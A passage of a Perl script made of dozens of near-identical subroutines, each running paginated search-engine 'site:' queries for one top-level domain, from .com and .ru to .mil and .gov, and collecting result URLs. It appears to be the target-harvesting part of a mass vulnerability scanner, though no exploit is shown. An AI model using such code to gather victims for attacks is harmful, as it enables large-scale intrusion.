  4362.             if ($link !~ /google/){
  4363.                 my @grep = &links($link);
  4364.                 push(@list,@grep);
  4365.             }
  4366.         }
  4367.     }
  4368.     return @list;
  4369. }
  4370.  
  4371. sub cn() {
  4372.     my @list;
  4373.     my $key = $_[0];
  4374.     for (my $i=0; $i<=1000; $i+=100){
  4375.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Acn%26num%3D100%26start%3D".$i);
  4376.         my $res = &search_engine_query($search);
  4377.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4378.             my $link = $1;
  4379.             if ($link !~ /google/){
  4380.                 my @grep = &links($link);
  4381.                 push(@list,@grep);
  4382.             }
  4383.         }
  4384.     }
  4385.     return @list;
  4386. }
  4387.  
  4388. sub com() {
  4389.     my @list;
  4390.     my $key = $_[0];
  4391.     for (my $i=0; $i<=1000; $i+=100){
  4392.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Acom%26num%3D100%26start%3D".$i);
  4393.         my $res = &search_engine_query($search);
  4394.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4395.             my $link = $1;
  4396.             if ($link !~ /google/){
  4397.                 my @grep = &links($link);
  4398.                 push(@list,@grep);
  4399.             }
  4400.         }
  4401.     }
  4402.     return @list;
  4403. }
  4404.  
  4405. sub cz() {
  4406.     my @list;
  4407.     my $key = $_[0];
  4408.     for (my $i=0; $i<=1000; $i+=100){
  4409.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Acz%26num%3D100%26start%3D".$i);
  4410.         my $res = &search_engine_query($search);
  4411.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4412.             my $link = $1;
  4413.             if ($link !~ /google/){
  4414.                 my @grep = &links($link);
  4415.                 push(@list,@grep);
  4416.             }
  4417.         }
  4418.     }
  4419.     return @list;
  4420. }
  4421.  
  4422. sub de() {
  4423.     my @list;
  4424.     my $key = $_[0];
  4425.     for (my $i=0; $i<=1000; $i+=100){
  4426.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Ade%26num%3D100%26start%3D".$i);
  4427.         my $res = &search_engine_query($search);
  4428.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4429.             my $link = $1;
  4430.             if ($link !~ /google/){
  4431.                 my @grep = &links($link);
  4432.                 push(@list,@grep);
  4433.             }
  4434.         }
  4435.     }
  4436.     return @list;
  4437. }
  4438.  
  4439. sub dk() {
  4440.     my @list;
  4441.     my $key = $_[0];
  4442.     for (my $i=0; $i<=1000; $i+=100){
  4443.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Adk%26num%3D100%26start%3D".$i);
  4444.         my $res = &search_engine_query($search);
  4445.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4446.             my $link = $1;
  4447.             if ($link !~ /google/){
  4448.                 my @grep = &links($link);
  4449.                 push(@list,@grep);
  4450.             }
  4451.         }
  4452.     }
  4453.     return @list;
  4454. }
  4455.  
  4456. sub es() {
  4457.     my @list;
  4458.     my $key = $_[0];
  4459.     for (my $i=0; $i<=1000; $i+=100){
  4460.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Aes%26num%3D100%26start%3D".$i);
  4461.         my $res = &search_engine_query($search);
  4462.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4463.             my $link = $1;
  4464.             if ($link !~ /google/){
  4465.                 my @grep = &links($link);
  4466.                 push(@list,@grep);
  4467.             }
  4468.         }
  4469.     }
  4470.     return @list;
  4471. }
  4472.  
  4473. sub eu() {
  4474.     my @list;
  4475.     my $key = $_[0];
  4476.     for (my $i=0; $i<=1000; $i+=100){
  4477.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aeu%26num%3D100%26start%3D".$i);
  4478.         my $res = &search_engine_query($search);
  4479.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4480.             my $link = $1;
  4481.             if ($link !~ /google/){
  4482.                 my @grep = &links($link);
  4483.                 push(@list,@grep);
  4484.             }
  4485.         }
  4486.     }
  4487.     return @list;
  4488. }
  4489.  
  4490. sub fr() {
  4491.     my @list;
  4492.     my $key = $_[0];
  4493.     for (my $i=0; $i<=1000; $i+=100){
  4494.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Afr%26num%3D100%26start%3D".$i);
  4495.         my $res = &search_engine_query($search);
  4496.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4497.             my $link = $1;
  4498.             if ($link !~ /google/){
  4499.                 my @grep = &links($link);
  4500.                 push(@list,@grep);
  4501.             }
  4502.         }
  4503.     }
  4504.     return @list;
  4505. }
  4506.  
  4507. sub hu() {
  4508.     my @list;
  4509.     my $key = $_[0];
  4510.     for (my $i=0; $i<=1000; $i+=100){
  4511.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Ahu%26num%3D100%26start%3D".$i);
  4512.         my $res = &search_engine_query($search);
  4513.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4514.             my $link = $1;
  4515.             if ($link !~ /google/){
  4516.                 my @grep = &links($link);
  4517.                 push(@list,@grep);
  4518.             }
  4519.         }
  4520.     }
  4521.     return @list;
  4522. }
  4523.  
  4524. sub id() {
  4525.     my @list;
  4526.     my $key = $_[0];
  4527.     for (my $i=0; $i<=1000; $i+=100){
  4528.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aid%26num%3D100%26start%3D".$i);
  4529.         my $res = &search_engine_query($search);
  4530.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4531.             my $link = $1;
  4532.             if ($link !~ /google/){
  4533.                 my @grep = &links($link);
  4534.                 push(@list,@grep);
  4535.             }
  4536.         }
  4537.     }
  4538.     return @list;
  4539. }
  4540.  
  4541. sub il() {
  4542.     my @list;
  4543.     my $key = $_[0];
  4544.     for (my $i=0; $i<=1000; $i+=100){
  4545.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i);
  4546.         my $res = &search_engine_query($search);
  4547.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4548.             my $link = $1;
  4549.             if ($link !~ /google/){
  4550.                 my @grep = &links($link);
  4551.                 push(@list,@grep);
  4552.             }
  4553.         }
  4554.     }
  4555.     return @list;
  4556. }
  4557.  
  4558. sub in() {
  4559.     my @list;
  4560.     my $key = $_[0];
  4561.     for (my $i=0; $i<=1000; $i+=100){
  4562.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Ain%26num%3D100%26start%3D".$i);
  4563.         my $res = &search_engine_query($search);
  4564.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4565.             my $link = $1;
  4566.             if ($link !~ /google/){
  4567.                 my @grep = &links($link);
  4568.                 push(@list,@grep);
  4569.             }
  4570.         }
  4571.     }
  4572.     return @list;
  4573. }
  4574.  
  4575. sub info() {
  4576.     my @list;
  4577.     my $key = $_[0];
  4578.     for (my $i=0; $i<=1000; $i+=100){
  4579.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ainfo%26num%3D100%26start%3D".$i);
  4580.         my $res = &search_engine_query($search);
  4581.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4582.             my $link = $1;
  4583.             if ($link !~ /google/){
  4584.                 my @grep = &links($link);
  4585.                 push(@list,@grep);
  4586.             }
  4587.         }
  4588.     }
  4589.     return @list;
  4590. }
  4591.  
  4592. sub il() {
  4593.     my @list;
  4594.     my $key = $_[0];
  4595.     for (my $i=0; $i<=1000; $i+=100){
  4596.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i);
  4597.         my $res = &search_engine_query($search);
  4598.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4599.             my $link = $1;
  4600.             if ($link !~ /google/){
  4601.                 my @grep = &links($link);
  4602.                 push(@list,@grep);
  4603.             }
  4604.         }
  4605.     }
  4606.     return @list;
  4607. }
  4608.  
  4609. sub it() {
  4610.     my @list;
  4611.     my $key = $_[0];
  4612.     for (my $i=0; $i<=1000; $i+=100){
  4613.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Ait%26num%3D100%26start%3D".$i);
  4614.         my $res = &search_engine_query($search);
  4615.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4616.             my $link = $1;
  4617.             if ($link !~ /google/){
  4618.                 my @grep = &links($link);
  4619.                 push(@list,@grep);
  4620.             }
  4621.         }
  4622.     }
  4623.     return @list;
  4624. }
  4625.  
  4626. sub jp() {
  4627.     my @list;
  4628.     my $key = $_[0];
  4629.     for (my $i=0; $i<=1000; $i+=100){
  4630.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Ajp%26num%3D100%26start%3D".$i);
  4631.         my $res = &search_engine_query($search);
  4632.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4633.             my $link = $1;
  4634.             if ($link !~ /google/){
  4635.                 my @grep = &links($link);
  4636.                 push(@list,@grep);
  4637.             }
  4638.         }
  4639.     }
  4640.     return @list;
  4641. }
  4642.  
  4643. sub kr() {
  4644.     my @list;
  4645.     my $key = $_[0];
  4646.     for (my $i=0; $i<=1000; $i+=100){
  4647.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Akr%26num%3D100%26start%3D".$i);
  4648.         my $res = &search_engine_query($search);
  4649.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4650.             my $link = $1;
  4651.             if ($link !~ /google/){
  4652.                 my @grep = &links($link);
  4653.                 push(@list,@grep);
  4654.             }
  4655.         }
  4656.     }
  4657.     return @list;
  4658. }
  4659.  
  4660. sub mx() {
  4661.     my @list;
  4662.     my $key = $_[0];
  4663.     for (my $i=0; $i<=1000; $i+=100){
  4664.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Amx%26num%3D100%26start%3D".$i);
  4665.         my $res = &search_engine_query($search);
  4666.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4667.             my $link = $1;
  4668.             if ($link !~ /google/){
  4669.                 my @grep = &links($link);
  4670.                 push(@list,@grep);
  4671.             }
  4672.         }
  4673.     }
  4674.     return @list;
  4675. }
  4676.  
  4677. sub my() {
  4678.     my @list;
  4679.     my $key = $_[0];
  4680.     for (my $i=0; $i<=1000; $i+=100){
  4681.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Amy%26num%3D100%26start%3D".$i);
  4682.         my $res = &search_engine_query($search);
  4683.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4684.             my $link = $1;
  4685.             if ($link !~ /google/){
  4686.                 my @grep = &links($link);
  4687.                 push(@list,@grep);
  4688.             }
  4689.         }
  4690.     }
  4691.     return @list;
  4692. }
  4693.  
  4694. sub net() {
  4695.     my @list;
  4696.     my $key = $_[0];
  4697.     for (my $i=0; $i<=1000; $i+=100){
  4698.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Anet%26num%3D100%26start%3D".$i);
  4699.         my $res = &search_engine_query($search);
  4700.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4701.             my $link = $1;
  4702.             if ($link !~ /google/){
  4703.                 my @grep = &links($link);
  4704.                 push(@list,@grep);
  4705.             }
  4706.         }
  4707.     }
  4708.     return @list;
  4709. }
  4710.  
  4711. sub nl() {
  4712.     my @list;
  4713.     my $key = $_[0];
  4714.     for (my $i=0; $i<=1000; $i+=100){
  4715.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Anl%26num%3D100%26start%3D".$i);
  4716.         my $res = &search_engine_query($search);
  4717.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4718.             my $link = $1;
  4719.             if ($link !~ /google/){
  4720.                 my @grep = &links($link);
  4721.                 push(@list,@grep);
  4722.             }
  4723.         }
  4724.     }
  4725.     return @list;
  4726. }
  4727.  
  4728. sub org() {
  4729.     my @list;
  4730.     my $key = $_[0];
  4731.     for (my $i=0; $i<=1000; $i+=100){
  4732.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Aorg%26num%3D100%26start%3D".$i);
  4733.         my $res = &search_engine_query($search);
  4734.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4735.             my $link = $1;
  4736.             if ($link !~ /google/){
  4737.                 my @grep = &links($link);
  4738.                 push(@list,@grep);
  4739.             }
  4740.         }
  4741.     }
  4742.     return @list;
  4743. }
  4744.  
  4745. sub ph() {
  4746.     my @list;
  4747.     my $key = $_[0];
  4748.     for (my $i=0; $i<=1000; $i+=100){
  4749.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aph%26num%3D100%26start%3D".$i);
  4750.         my $res = &search_engine_query($search);
  4751.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4752.             my $link = $1;
  4753.             if ($link !~ /google/){
  4754.                 my @grep = &links($link);
  4755.                 push(@list,@grep);
  4756.             }
  4757.         }
  4758.     }
  4759.     return @list;
  4760. }
  4761.  
  4762. sub pl() {
  4763.     my @list;
  4764.     my $key = $_[0];
  4765.     for (my $i=0; $i<=1000; $i+=100){
  4766.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Apl%26num%3D100%26start%3D".$i);
  4767.         my $res = &search_engine_query($search);
  4768.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4769.             my $link = $1;
  4770.             if ($link !~ /google/){
  4771.                 my @grep = &links($link);
  4772.                 push(@list,@grep);
  4773.             }
  4774.         }
  4775.     }
  4776.     return @list;
  4777. }
  4778.  
  4779. sub ro() {
  4780.     my @list;
  4781.     my $key = $_[0];
  4782.     for (my $i=0; $i<=1000; $i+=100){
  4783.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Aro%26num%3D100%26start%3D".$i);
  4784.         my $res = &search_engine_query($search);
  4785.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4786.             my $link = $1;
  4787.             if ($link !~ /google/){
  4788.                 my @grep = &links($link);
  4789.                 push(@list,@grep);
  4790.             }
  4791.         }
  4792.     }
  4793.     return @list;
  4794. }
  4795.  
  4796. sub ru() {
  4797.     my @list;
  4798.     my $key = $_[0];
  4799.     for (my $i=0; $i<=1000; $i+=100){
  4800.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Aru%26num%3D100%26start%3D".$i);
  4801.         my $res = &search_engine_query($search);
  4802.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4803.             my $link = $1;
  4804.             if ($link !~ /google/){
  4805.                 my @grep = &links($link);
  4806.                 push(@list,@grep);
  4807.             }
  4808.         }
  4809.     }
  4810.     return @list;
  4811. }
  4812.  
  4813. sub th() {
  4814.     my @list;
  4815.     my $key = $_[0];
  4816.     for (my $i=0; $i<=1000; $i+=100){
  4817.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ath%26num%3D100%26start%3D".$i);
  4818.         my $res = &search_engine_query($search);
  4819.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4820.             my $link = $1;
  4821.             if ($link !~ /google/){
  4822.                 my @grep = &links($link);
  4823.                 push(@list,@grep);
  4824.             }
  4825.         }
  4826.     }
  4827.     return @list;
  4828. }
  4829.  
  4830. sub ua() {
  4831.     my @list;
  4832.     my $key = $_[0];
  4833.     for (my $i=0; $i<=1000; $i+=100){
  4834.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aua%26num%3D100%26start%3D".$i);
  4835.         my $res = &search_engine_query($search);
  4836.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4837.             my $link = $1;
  4838.             if ($link !~ /google/){
  4839.                 my @grep = &links($link);
  4840.                 push(@list,@grep);
  4841.             }
  4842.         }
  4843.     }
  4844.     return @list;
  4845. }
  4846.  
  4847. sub uk() {
  4848.     my @list;
  4849.     my $key = $_[0];
  4850.     for (my $i=0; $i<=1000; $i+=100){
  4851.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Auk%26num%3D100%26start%3D".$i);
  4852.         my $res = &search_engine_query($search);
  4853.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4854.             my $link = $1;
  4855.             if ($link !~ /google/){
  4856.                 my @grep = &links($link);
  4857.                 push(@list,@grep);
  4858.             }
  4859.         }
  4860.     }
  4861.     return @list;
  4862. }
  4863.  
  4864. sub us() {
  4865.     my @list;
  4866.     my $key = $_[0];
  4867.     for (my $i=0; $i<=1000; $i+=100){
  4868.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aus%26num%3D100%26start%3D".$i);
  4869.         my $res = &search_engine_query($search);
  4870.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4871.             my $link = $1;
  4872.             if ($link !~ /google/){
  4873.                 my @grep = &links($link);
  4874.                 push(@list,@grep);
  4875.             }
  4876.         }
  4877.     }
  4878.     return @list;
  4879. }
  4880.  
  4881. sub si() {
  4882.     my @list;
  4883.     my $key = $_[0];
  4884.     for (my $i=0; $i<=1000; $i+=100){
  4885.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Asi%26num%3D100%26start%3D".$i);
  4886.         my $res = &search_engine_query($search);
  4887.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4888.             my $link = $1;
  4889.             if ($link !~ /google/){
  4890.                 my @grep = &links($link);
  4891.                 push(@list,@grep);
  4892.             }
  4893.         }
  4894.     }
  4895.     return @list;
  4896. }
  4897.  
  4898. sub be() {
  4899.     my @list;
  4900.     my $key = $_[0];
  4901.     for (my $i=0; $i<=1000; $i+=100){
  4902.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Abe%26num%3D100%26start%3D".$i);
  4903.         my $res = &search_engine_query($search);
  4904.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4905.             my $link = $1;
  4906.             if ($link !~ /google/){
  4907.                 my @grep = &links($link);
  4908.                 push(@list,@grep);
  4909.             }
  4910.         }
  4911.     }
  4912.     return @list;
  4913. }
  4914.  
  4915. sub biz() {
  4916.     my @list;
  4917.     my $key = $_[0];
  4918.     for (my $i=0; $i<=1000; $i+=100){
  4919.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Abiz%26num%3D100%26start%3D".$i);
  4920.         my $res = &search_engine_query($search);
  4921.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4922.             my $link = $1;
  4923.             if ($link !~ /google/){
  4924.                 my @grep = &links($link);
  4925.                 push(@list,@grep);
  4926.             }
  4927.         }
  4928.     }
  4929.     return @list;
  4930. }
  4931.  
  4932. sub xxx() {
  4933.     my @list;
  4934.     my $key = $_[0];
  4935.     for (my $i=0; $i<=1000; $i+=100){
  4936.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Axxx%26num%3D100%26start%3D".$i);
  4937.         my $res = &search_engine_query($search);
  4938.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4939.             my $link = $1;
  4940.             if ($link !~ /google/){
  4941.                 my @grep = &links($link);
  4942.                 push(@list,@grep);
  4943.             }
  4944.         }
  4945.     }
  4946.     return @list;
  4947. }
  4948.  
  4949. sub tel() {
  4950.     my @list;
  4951.     my $key = $_[0];
  4952.     for (my $i=0; $i<=1000; $i+=100){
  4953.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Atel%26num%3D100%26start%3D".$i);
  4954.         my $res = &search_engine_query($search);
  4955.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4956.             my $link = $1;
  4957.             if ($link !~ /google/){
  4958.                 my @grep = &links($link);
  4959.                 push(@list,@grep);
  4960.             }
  4961.         }
  4962.     }
  4963.     return @list;
  4964. }
  4965.  
  4966. sub tv() {
  4967.     my @list;
  4968.     my $key = $_[0];
  4969.     for (my $i=0; $i<=1000; $i+=100){
  4970.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Atv%26num%3D100%26start%3D".$i);
  4971.         my $res = &search_engine_query($search);
  4972.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4973.             my $link = $1;
  4974.             if ($link !~ /google/){
  4975.                 my @grep = &links($link);
  4976.                 push(@list,@grep);
  4977.             }
  4978.         }
  4979.     }
  4980.     return @list;
  4981. }
  4982.  
  4983. sub cc() {
  4984.     my @list;
  4985.     my $key = $_[0];
  4986.     for (my $i=0; $i<=1000; $i+=100){
  4987.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Acc%26num%3D100%26start%3D".$i);
  4988.         my $res = &search_engine_query($search);
  4989.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4990.             my $link = $1;
  4991.             if ($link !~ /google/){
  4992.                 my @grep = &links($link);
  4993.                 push(@list,@grep);
  4994.             }
  4995.         }
  4996.     }
  4997.     return @list;
  4998. }
  4999.  
  5000. sub mil() {
  5001.     my @list;
  5002.     my $key = $_[0];
  5003.     for (my $i=0; $i<=1000; $i+=100){
  5004.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Amil%26num%3D100%26start%3D".$i);
  5005.         my $res = &search_engine_query($search);
  5006.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5007.             my $link = $1;
  5008.             if ($link !~ /google/){
  5009.                 my @grep = &links($link);
  5010.                 push(@list,@grep);
  5011.             }
  5012.         }
  5013.     }
  5014.     return @list;
  5015. }
  5016.  
  5017. sub asia() {
  5018.     my @list;
  5019.     my $key = $_[0];
  5020.     for (my $i=0; $i<=1000; $i+=100){
  5021.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Aasia%26num%3D100%26start%3D".$i);
  5022.         my $res = &search_engine_query($search);
  5023.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5024.             my $link = $1;
  5025.             if ($link !~ /google/){
  5026.                 my @grep = &links($link);
  5027.                 push(@list,@grep);
  5028.             }
  5029.         }
  5030.     }
  5031.     return @list;
  5032. }
  5033.  
  5034. sub name() {
  5035.     my @list;
  5036.     my $key = $_[0];
  5037.     for (my $i=0; $i<=1000; $i+=100){
  5038.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aname%26num%3D100%26start%3D".$i);
  5039.         my $res = &search_engine_query($search);
  5040.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5041.             my $link = $1;
  5042.             if ($link !~ /google/){
  5043.                 my @grep = &links($link);
  5044.                 push(@list,@grep);
  5045.             }
  5046.         }
  5047.     }
  5048.     return @list;
  5049. }
  5050.  
  5051. sub pro() {
  5052.     my @list;
  5053.     my $key = $_[0];
  5054.     for (my $i=0; $i<=1000; $i+=100){
  5055.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Apro%26num%3D100%26start%3D".$i);
  5056.         my $res = &search_engine_query($search);
  5057.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5058.             my $link = $1;
  5059.             if ($link !~ /google/){
  5060.                 my @grep = &links($link);
  5061.                 push(@list,@grep);
  5062.             }
  5063.         }
  5064.     }
  5065.     return @list;
  5066. }
  5067.  
  5068. sub travel() {
  5069.     my @list;
  5070.     my $key = $_[0];
  5071.     for (my $i=0; $i<=1000; $i+=100){
  5072.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Atravel%26num%3D100%26start%3D".$i);
  5073.         my $res = &search_engine_query($search);
  5074.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5075.             my $link = $1;
  5076.             if ($link !~ /google/){
  5077.                 my @grep = &links($link);
  5078.                 push(@list,@grep);
  5079.             }
  5080.         }
  5081.     }
  5082.     return @list;
  5083. }
  5084.  
  5085. sub jobs() {
  5086.     my @list;
  5087.     my $key = $_[0];
  5088.     for (my $i=0; $i<=1000; $i+=100){
  5089.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ajobs%26num%3D100%26start%3D".$i);
  5090.         my $res = &search_engine_query($search);
  5091.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5092.             my $link = $1;
  5093.             if ($link !~ /google/){
  5094.                 my @grep = &links($link);
  5095.                 push(@list,@grep);
  5096.             }
  5097.         }
  5098.     }
  5099.     return @list;
  5100. }
  5101.  
  5102. sub mobi() {
  5103.     my @list;
  5104.     my $key = $_[0];
  5105.     for (my $i=0; $i<=1000; $i+=100){
  5106.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Amobi%26num%3D100%26start%3D".$i);
  5107.         my $res = &search_engine_query($search);
  5108.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5109.             my $link = $1;
  5110.             if ($link !~ /google/){
  5111.                 my @grep = &links($link);
  5112.                 push(@list,@grep);
  5113.             }
  5114.         }
  5115.     }
  5116.     return @list;
  5117. }
  5118.  
  5119. sub aero() {
  5120.     my @list;
  5121.     my $key = $_[0];
  5122.     for (my $i=0; $i<=1000; $i+=100){
  5123.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Aaero%26num%3D100%26start%3D".$i);
  5124.         my $res = &search_engine_query($search);
  5125.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5126.             my $link = $1;
  5127.             if ($link !~ /google/){
  5128.                 my @grep = &links($link);
  5129.                 push(@list,@grep);
  5130.             }
  5131.         }
  5132.     }
  5133.     return @list;
  5134. }
  5135.  
  5136. sub cat() {
  5137.     my @list;
  5138.     my $key = $_[0];
  5139.     for (my $i=0; $i<=1000; $i+=100){
  5140.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Acat%26num%3D100%26start%3D".$i);
  5141.         my $res = &search_engine_query($search);
  5142.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5143.             my $link = $1;
  5144.             if ($link !~ /google/){
  5145.                 my @grep = &links($link);
  5146.                 push(@list,@grep);
  5147.             }
  5148.         }
  5149.     }
  5150.     return @list;
  5151. }
  5152.  
  5153. sub coop() {
  5154.     my @list;
  5155.     my $key = $_[0];
  5156.     for (my $i=0; $i<=1000; $i+=100){
  5157.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Acoop%26num%3D100%26start%3D".$i);
  5158.         my $res = &search_engine_query($search);
  5159.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5160.             my $link = $1;
  5161.             if ($link !~ /google/){
  5162.                 my @grep = &links($link);
  5163.                 push(@list,@grep);
  5164.             }
  5165.         }
  5166.     }
  5167.     return @list;
  5168. }
  5169.  
  5170. sub edu() {
  5171.     my @list;
  5172.     my $key = $_[0];
  5173.     for (my $i=0; $i<=1000; $i+=100){
  5174.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aedu%26num%3D100%26start%3D".$i);
  5175.         my $res = &search_engine_query($search);
  5176.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5177.             my $link = $1;
  5178.             if ($link !~ /google/){
  5179.                 my @grep = &links($link);
  5180.                 push(@list,@grep);
  5181.             }
  5182.         }
  5183.     }
  5184.     return @list;
  5185. }
  5186.  
  5187. sub gov() {
  5188.     my @list;
  5189.     my $key = $_[0];
  5190.     for (my $i=0; $i<=1000; $i+=100){
  5191.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Agov%26num%3D100%26start%3D".$i);
  5192.         my $res = &search_engine_query($search);
  5193.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5194.             my $link = $1;
  5195.             if ($link !~ /google/){
  5196.                 my @grep = &links($link);
  5197.                 push(@list,@grep);
  5198.             }
  5199.         }
  5200.     }
  5201.     return @list;
  5202. }
  5203.  
  5204. sub as() {
  5205.     my @list;
  5206.     my $key = $_[0];
  5207.     for (my $i=0; $i<=1000; $i+=100){
  5208.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aas%26num%3D100%26start%3D".$i);
  5209.         my $res = &search_engine_query($search);
  5210.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5211.             my $link = $1;
  5212.             if ($link !~ /google/){
  5213.                 my @grep = &links($link);
  5214.                 push(@list,@grep);
  5215.             }
  5216.         }
  5217.     }
  5218.     return @list;
  5219. }
  5220.  
  5221. sub ai() {
  5222.     my @list;
  5223.     my $key = $_[0];
  5224.     for (my $i=0; $i<=1000; $i+=100){
  5225.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Aai%26num%3D100%26start%3D".$i);
  5226.         my $res = &search_engine_query($search);
  5227.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5228.             my $link = $1;
  5229.             if ($link !~ /google/){
  5230.                 my @grep = &links($link);
  5231.                 push(@list,@grep);
  5232.             }
  5233.         }
  5234.     }
  5235.     return @list;
  5236. }
  5237.  
  5238. sub ag() {
  5239.     my @list;
  5240.     my $key = $_[0];
  5241.     for (my $i=0; $i<=1000; $i+=100){
  5242.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Aag%26num%3D100%26start%3D".$i);
  5243.         my $res = &search_engine_query($search);
  5244.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5245.             my $link = $1;
  5246.             if ($link !~ /google/){
